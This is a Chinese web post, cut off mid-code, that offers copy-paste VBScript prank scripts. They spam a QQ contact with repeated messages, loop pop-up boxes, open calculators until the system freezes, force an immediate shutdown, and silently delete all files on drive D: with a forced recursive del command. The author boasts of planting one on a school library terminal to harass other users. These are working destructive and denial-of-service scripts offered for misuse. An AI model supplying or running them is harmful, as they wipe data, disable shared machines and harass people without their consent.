一、你打开好友的聊天对话框,然后记下在你 QQ 里好友的昵称,把下面代码里的 xx替换一下,就可以自定义发送 QQ 信息到好友的次数(代码里的数字 10 改一下即可). xx.vbs=> 复制代码 代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与 xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ 骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ dim wsh set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除 D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true ---------------------------------------------------------------------------- 六、不断弹出窗口 ---------------------------------------------------------------------------- 复制代码 代码如下: while(1) msgbox "哈哈 你被耍了!" loop ---------------------------------------------------------------------------- 七、不断按下 alt+f4 (开什么都关闭„„) --------------------------------------------------------------------------- 复制代码 代码如下: dim WSHsh...